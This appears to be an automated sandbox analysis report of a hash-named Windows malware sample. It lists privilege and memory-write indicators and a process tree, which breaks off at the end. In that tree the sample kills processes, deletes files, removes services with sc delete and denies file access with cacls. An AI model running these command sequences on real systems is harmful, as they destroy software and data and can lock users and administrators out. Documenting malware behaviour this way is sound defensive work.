Token: SeDebugPrivilege	5672	taskkill.exe
Token: SeDebugPrivilege	4556	taskkill.exe
Token: SeDebugPrivilege	6700	taskkill.exe
Token: SeDebugPrivilege	3908	taskkill.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	4800	taskkill.exe
Token: SeDebugPrivilege	5996	taskkill.exe
Token: SeDebugPrivilege	1064	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeDebugPrivilege	4232	taskkill.exe
Token: SeDebugPrivilege	3100	taskkill.exe
Token: SeDebugPrivilege	7056	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	1236	taskkill.exe
Token: SeDebugPrivilege	1200	taskkill.exe
Token: SeDebugPrivilege	7028	taskkill.exe
Token: SeDebugPrivilege	2020	taskkill.exe
Token: SeDebugPrivilege	6188	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	6660	taskkill.exe
Token: SeDebugPrivilege	6284	taskkill.exe
Token: SeDebugPrivilege	6496	taskkill.exe
Token: SeDebugPrivilege	3692	taskkill.exe
Token: SeDebugPrivilege	5236	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	468	taskkill.exe
Token: SeDebugPrivilege	260	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	1728	taskkill.exe
Token: SeDebugPrivilege	5652	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	1044	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeDebugPrivilege	6764	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	252	taskkill.exe
Token: SeDebugPrivilege	1560	taskkill.exe
Token: SeDebugPrivilege	5376	taskkill.exe
Token: SeDebugPrivilege	7296	taskkill.exe
Token: SeDebugPrivilege	7224	taskkill.exe
Token: SeDebugPrivilege	7336	taskkill.exe
Token: SeDebugPrivilege	7344	taskkill.exe
Token: SeDebugPrivilege	7376	taskkill.exe
Token: SeDebugPrivilege	7496	taskkill.exe
Token: SeDebugPrivilege	7408	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
928	SQLAGENTSWE.exe
928	SQLAGENTSWE.exe
1908	SQLAGENTSWE.exe
1908	SQLAGENTSWE.exe
6564	SQLAGENTSWE.exe
6564	SQLAGENTSWE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5728 wrote to memory of 5896	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	89
PID 5896 wrote to memory of 5756	5896	cmd.exe	91
PID 5728 wrote to memory of 5832	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	92
PID 5832 wrote to memory of 2924	5832	cmd.exe	94
PID 5728 wrote to memory of 5444	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	96
PID 5444 wrote to memory of 2188	5444	cmd.exe	98
PID 5728 wrote to memory of 2032	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	99
PID 5728 wrote to memory of 5588	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	101
PID 5728 wrote to memory of 6456	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	103
PID 5728 wrote to memory of 1532	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	105
PID 5728 wrote to memory of 6640	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	107
PID 6456 wrote to memory of 4244	6456	cmd.exe	109
PID 5728 wrote to memory of 3976	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	110
PID 5728 wrote to memory of 6180	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	112
PID 5728 wrote to memory of 6680	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	114
PID 5728 wrote to memory of 616	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	116
PID 5728 wrote to memory of 7064	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	118
PID 5728 wrote to memory of 1208	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	120
PID 5728 wrote to memory of 6152	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	122
PID 6680 wrote to memory of 4644	6680	cmd.exe	124
PID 616 wrote to memory of 1844	616	cmd.exe	266
PID 5728 wrote to memory of 4296	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	126
PID 5728 wrote to memory of 6208	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	128
PID 5728 wrote to memory of 4592	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	129
PID 5728 wrote to memory of 6412	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	132
PID 7064 wrote to memory of 468	7064	cmd.exe	133
PID 5728 wrote to memory of 1568	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	135
PID 5728 wrote to memory of 7036	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	136
PID 5728 wrote to memory of 6008	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	139
PID 6152 wrote to memory of 3328	6152	cmd.exe	140
PID 5728 wrote to memory of 4312	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	142
PID 5728 wrote to memory of 4540	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	143
PID 4296 wrote to memory of 4760	4296	cmd.exe	145
PID 5728 wrote to memory of 4820	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	146
PID 6412 wrote to memory of 4700	6412	cmd.exe	273
PID 5728 wrote to memory of 2748	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	150
PID 5728 wrote to memory of 1204	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	151
PID 6208 wrote to memory of 1408	6208	cmd.exe	293
PID 1208 wrote to memory of 5164	1208	cmd.exe	153
PID 4592 wrote to memory of 7044	4592	cmd.exe	155
PID 5728 wrote to memory of 6520	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	156
PID 5728 wrote to memory of 2452	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	158
PID 5728 wrote to memory of 6232	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	160
PID 5728 wrote to memory of 4836	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	161
PID 5728 wrote to memory of 2540	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	163
PID 5728 wrote to memory of 6320	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	166
PID 1568 wrote to memory of 1220	1568	cmd.exe	167
PID 5728 wrote to memory of 5808	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	169
PID 5728 wrote to memory of 5744	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	171
PID 5728 wrote to memory of 608	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	173
PID 6232 wrote to memory of 292	6232	cmd.exe	176
PID 6008 wrote to memory of 2660	6008	cmd.exe	416
PID 4540 wrote to memory of 244	4540	cmd.exe	178
PID 4820 wrote to memory of 4432	4820	cmd.exe	179
PID 7036 wrote to memory of 5084	7036	cmd.exe	180
PID 5728 wrote to memory of 4800	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	310
PID 5728 wrote to memory of 2852	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	182
PID 5728 wrote to memory of 1284	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	306
PID 5728 wrote to memory of 6604	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	184
PID 5728 wrote to memory of 6536	5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe	185
PID 2452 wrote to memory of 1148	2452	cmd.exe	454
PID 4836 wrote to memory of 4948	4836	cmd.exe	189
PID 2748 wrote to memory of 2368	2748	cmd.exe	190
PID 2540 wrote to memory of 2268	2540	cmd.exe	318

C:\Users\Admin\AppData\Local\Temp\28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
"C:\Users\Admin\AppData\Local\Temp\28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe"
1⤵
- Adds policy Run key to start application
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskger.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5444
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskger.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskger.exe
  2⤵
  PID:2032
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskger.exe
  2⤵
  PID:5588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgzr.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6456
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgzr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskmgzr.exe
  2⤵
  PID:1532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskmgzr.exe
  2⤵
  PID:6640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\vget.vbs
  2⤵
  PID:3976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\vget.vbs
  2⤵
  PID:6180
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d everyone
    3⤵
    PID:1844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7064
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d system
    3⤵
    PID:468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6152
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d system
    3⤵
    PID:4760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6208
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d everyone
    3⤵
    PID:7044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6412
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d system
    3⤵
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im msinfo.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7036
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d everyone
    3⤵
    PID:5084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d system
    3⤵
    PID:2660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im rundlls.exe
  2⤵
  PID:4312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im rundlls.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d everyone
    3⤵
    PID:244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d system
    3⤵
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d everyone
  2⤵
  PID:1204
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d system
  2⤵
  PID:6520
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d system
    3⤵
    PID:2408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6232
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d everyone
    3⤵
    PID:292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d system
    3⤵
    PID:4948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d everyone
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6320
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d system
  2⤵
  PID:5808
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d system
    3⤵
    PID:788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  PID:5744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  PID:608
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Maker\OmdBase.exe
  2⤵
  PID:4800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Maker\OmdBase.exe
  2⤵
  PID:2852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Maker\OmdBase.exe
  2⤵
  PID:1284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6604
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:3884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  PID:6536
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:4232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im GthUdTask.exe
  2⤵
  PID:7004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:4888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:5032
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:4276
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:1908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:6920
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:6656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im BthUdTask.exe
  2⤵
  PID:3240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:6236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:4944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:3624
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:2360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:4864
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SvidaPctb.exe
  2⤵
  PID:5972
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:1256
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:6084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im WavesSys.exe
  2⤵
  PID:1548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:4960
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:5528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:6744
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:1412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  PID:6640
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft StuSystem\System.exe
  2⤵
  PID:1884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft StuSystem\System.exe
  2⤵
  PID:2104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft StuSystem\System.exe
  2⤵
  PID:2916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdxgiwrap.exe
  2⤵
  PID:5664
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    PID:836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  PID:2224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1844
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  PID:6356
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:1800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4700
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:4396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Rsytvcp.exe
  2⤵
  PID:6048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:2372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:4280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  PID:4472
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Help\spoolys.exe
  2⤵
  PID:2660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im lsma12.exe
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma12.exe
  2⤵
  PID:1544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  PID:1408
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:5784
- C:\Windows\SysWOW64\cmd.exe
